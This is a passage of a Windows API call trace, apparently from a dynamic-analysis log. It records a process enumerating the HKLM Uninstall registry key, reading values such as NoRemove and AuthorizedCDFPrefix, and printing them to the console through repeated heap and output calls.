lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x1, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.020] GetProcessHeap () returned 0x2e0000 [0147.020] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x12) returned 0x2fb7d0 [0147.020] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2fb7d0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRemove", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.020] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.020] GetProcessHeap () returned 0x2e0000 [0147.020] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.020] GetProcessHeap () returned 0x2e0000 [0147.020] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.020] GetProcessHeap () returned 0x2e0000 [0147.020] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.020] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0147.020] __iob_func () returned 0x7fefd702a80 [0147.020] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.021] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.021] _fileno (_File=0x7fefd702ab0) returned 1 [0147.021] _errno () returned 0xc4bb0 [0147.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.021] _errno () returned 0xc4bb0 [0147.021] GetFileType (hFile=0x50) returned 0x1 [0147.021] lstrlenW (lpString=" ") returned 4 [0147.021] GetConsoleOutputCP () returned 0x1b5 [0147.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.021] GetConsoleOutputCP () returned 0x1b5 [0147.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.021] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.021] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.021] lstrlenW (lpString="NoRemove") returned 8 [0147.021] __iob_func () returned 0x7fefd702a80 [0147.021] _fileno (_File=0x7fefd702ab0) returned 1 [0147.021] _errno () returned 0xc4bb0 [0147.021] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.021] _errno () returned 0xc4bb0 [0147.021] GetFileType (hFile=0x50) returned 0x1 [0147.021] lstrlenW (lpString="NoRemove") returned 8 [0147.021] GetConsoleOutputCP () returned 0x1b5 [0147.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.022] GetConsoleOutputCP () returned 0x1b5 [0147.022] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRemove", lpUsedDefaultChar=0x0) returned 8 [0147.022] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.022] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.022] __iob_func () returned 0x7fefd702a80 [0147.022] _fileno (_File=0x7fefd702ab0) returned 1 [0147.022] _errno () returned 0xc4bb0 [0147.022] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.022] _errno () returned 0xc4bb0 [0147.022] GetFileType (hFile=0x50) returned 0x1 [0147.022] lstrlenW (lpString=" ") returned 4 [0147.022] GetConsoleOutputCP () returned 0x1b5 [0147.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.023] GetConsoleOutputCP () returned 0x1b5 [0147.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.023] __iob_func () returned 0x7fefd702a80 [0147.023] _fileno (_File=0x7fefd702ab0) returned 1 [0147.023] _errno () returned 0xc4bb0 [0147.023] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.023] _errno () returned 0xc4bb0 [0147.023] GetFileType (hFile=0x50) returned 0x1 [0147.023] lstrlenW (lpString="REG_DWORD") returned 9 [0147.023] GetConsoleOutputCP () returned 0x1b5 [0147.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.023] GetConsoleOutputCP () returned 0x1b5 [0147.023] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.023] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.023] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.023] __iob_func () returned 0x7fefd702a80 [0147.023] _fileno (_File=0x7fefd702ab0) returned 1 [0147.024] _errno () returned 0xc4bb0 [0147.024] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.024] _errno () returned 0xc4bb0 [0147.024] GetFileType (hFile=0x50) returned 0x1 [0147.024] lstrlenW (lpString=" ") returned 4 [0147.024] GetConsoleOutputCP () returned 0x1b5 [0147.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.024] GetConsoleOutputCP () returned 0x1b5 [0147.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.024] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.024] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.024] __iob_func () returned 0x7fefd702a80 [0147.024] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.024] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.024] _fileno (_File=0x7fefd702ab0) returned 1 [0147.024] _errno () returned 0xc4bb0 [0147.024] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.024] _errno () returned 0xc4bb0 [0147.024] GetFileType (hFile=0x50) returned 0x1 [0147.024] lstrlenW (lpString="0x1") returned 3 [0147.024] GetConsoleOutputCP () returned 0x1b5 [0147.024] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.025] GetConsoleOutputCP () returned 0x1b5 [0147.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.025] __iob_func () returned 0x7fefd702a80 [0147.025] _fileno (_File=0x7fefd702ab0) returned 1 [0147.025] _errno () returned 0xc4bb0 [0147.025] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.025] _errno () returned 0xc4bb0 [0147.025] GetFileType (hFile=0x50) returned 0x1 [0147.025] lstrlenW (lpString="\n") returned 1 [0147.025] GetConsoleOutputCP () returned 0x1b5 [0147.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.025] GetConsoleOutputCP () returned 0x1b5 [0147.025] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.025] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.025] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.025] GetProcessHeap () returned 0x2e0000 [0147.025] GetProcessHeap () returned 0x2e0000 [0147.025] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.025] GetProcessHeap () returned 0x2e0000 [0147.025] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.026] __iob_func () returned 0x7fefd702a80 [0147.026] _fileno (_File=0x7fefd702ab0) returned 1 [0147.026] _errno () returned 0xc4bb0 [0147.026] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.026] _errno () returned 0xc4bb0 [0147.026] GetFileType (hFile=0x50) returned 0x1 [0147.026] lstrlenW (lpString="\n") returned 1 [0147.026] GetConsoleOutputCP () returned 0x1b5 [0147.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.026] GetConsoleOutputCP () returned 0x1b5 [0147.026] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.026] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.026] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.026] GetProcessHeap () returned 0x2e0000 [0147.026] GetProcessHeap () returned 0x2e0000 [0147.026] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.026] GetProcessHeap () returned 0x2e0000 [0147.026] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x12 [0147.026] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0147.026] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.026] GetProcessHeap () returned 0x2e0000 [0147.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.026] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") returned 74 [0147.026] GetProcessHeap () returned 0x2e0000 [0147.026] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x98) returned 0x2fd170 [0147.026] GetProcessHeap () returned 0x2e0000 [0147.026] GetProcessHeap () returned 0x2e0000 [0147.026] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.027] GetProcessHeap () returned 0x2e0000 [0147.027] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.027] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.027] GetProcessHeap () returned 0x2e0000 [0147.027] GetProcessHeap () returned 0x2e0000 [0147.027] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0147.027] GetProcessHeap () returned 0x2e0000 [0147.027] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0x98 [0147.027] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0147.027] RegCloseKey (hKey=0x5c) returned 0x0 [0147.027] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x11, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.027] __iob_func () returned 0x7fefd702a80 [0147.027] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.027] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\n") returned 110 [0147.027] _fileno (_File=0x7fefd702ab0) returned 1 [0147.027] _errno () returned 0xc4bb0 [0147.027] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.027] _errno () returned 0xc4bb0 [0147.027] GetFileType (hFile=0x50) returned 0x1 [0147.027] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\n") returned 110 [0147.027] GetConsoleOutputCP () returned 0x1b5 [0147.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.027] GetConsoleOutputCP () returned 0x1b5 [0147.027] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}\n", lpUsedDefaultChar=0x0) returned 110 [0147.027] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.027] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.028] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.028] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.028] GetProcessHeap () returned 0x2e0000 [0147.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.028] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.028] GetProcessHeap () returned 0x2e0000 [0147.028] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.028] GetProcessHeap () returned 0x2e0000 [0147.028] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.028] GetProcessHeap () returned 0x2e0000 [0147.028] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.028] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.028] __iob_func () returned 0x7fefd702a80 [0147.028] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.028] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.028] _fileno (_File=0x7fefd702ab0) returned 1 [0147.028] _errno () returned 0xc4bb0 [0147.028] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.028] _errno () returned 0xc4bb0 [0147.028] GetFileType (hFile=0x50) returned 0x1 [0147.028] lstrlenW (lpString=" ") returned 4 [0147.028] GetConsoleOutputCP () returned 0x1b5 [0147.028] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.028] GetConsoleOutputCP () returned 0x1b5 [0147.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.029] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.029] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.029] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.029] __iob_func () returned 0x7fefd702a80 [0147.029] _fileno (_File=0x7fefd702ab0) returned 1 [0147.029] _errno () returned 0xc4bb0 [0147.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.029] _errno () returned 0xc4bb0 [0147.029] GetFileType (hFile=0x50) returned 0x1 [0147.029] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.029] GetConsoleOutputCP () returned 0x1b5 [0147.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.029] GetConsoleOutputCP () returned 0x1b5 [0147.029] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.029] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.029] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.029] __iob_func () returned 0x7fefd702a80 [0147.029] _fileno (_File=0x7fefd702ab0) returned 1 [0147.029] _errno () returned 0xc4bb0 [0147.029] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.029] _errno () returned 0xc4bb0 [0147.029] GetFileType (hFile=0x50) returned 0x1 [0147.030] lstrlenW (lpString=" ") returned 4 [0147.030] GetConsoleOutputCP () returned 0x1b5 [0147.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.030] GetConsoleOutputCP () returned 0x1b5 [0147.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.030] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.030] __iob_func () returned 0x7fefd702a80 [0147.030] _fileno (_File=0x7fefd702ab0) returned 1 [0147.030] _errno () returned 0xc4bb0 [0147.030] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.030] _errno () returned 0xc4bb0 [0147.030] GetFileType (hFile=0x50) returned 0x1 [0147.030] lstrlenW (lpString="REG_SZ") returned 6 [0147.030] GetConsoleOutputCP () returned 0x1b5 [0147.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.030] GetConsoleOutputCP () returned 0x1b5 [0147.030] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.030] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.031] __iob_func () returned 0x7fefd702a80 [0147.031] _fileno (_File=0x7fefd702ab0) returned 1 [0147.031] _errno () returned 0xc4bb0 [0147.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.031] _errno () returned 0xc4bb0 [0147.031] GetFileType (hFile=0x50) returned 0x1 [0147.031] lstrlenW (lpString=" ") returned 4 [0147.031] GetConsoleOutputCP () returned 0x1b5 [0147.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.031] GetConsoleOutputCP () returned 0x1b5 [0147.031] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.031] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.031] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.031] __iob_func () returned 0x7fefd702a80 [0147.031] _fileno (_File=0x7fefd702ab0) returned 1 [0147.031] _errno () returned 0xc4bb0 [0147.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.031] _errno () returned 0xc4bb0 [0147.031] GetFileType (hFile=0x50) returned 0x1 [0147.031] lstrlenW (lpString="") returned 0 [0147.031] __iob_func () returned 0x7fefd702a80 [0147.031] _fileno (_File=0x7fefd702ab0) returned 1 [0147.031] _errno () returned 0xc4bb0 [0147.031] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.031] _errno () returned 0xc4bb0 [0147.031] GetFileType (hFile=0x50) returned 0x1 [0147.032] lstrlenW (lpString="\n") returned 1 [0147.032] GetConsoleOutputCP () returned 0x1b5 [0147.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.032] GetConsoleOutputCP () returned 0x1b5 [0147.032] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", 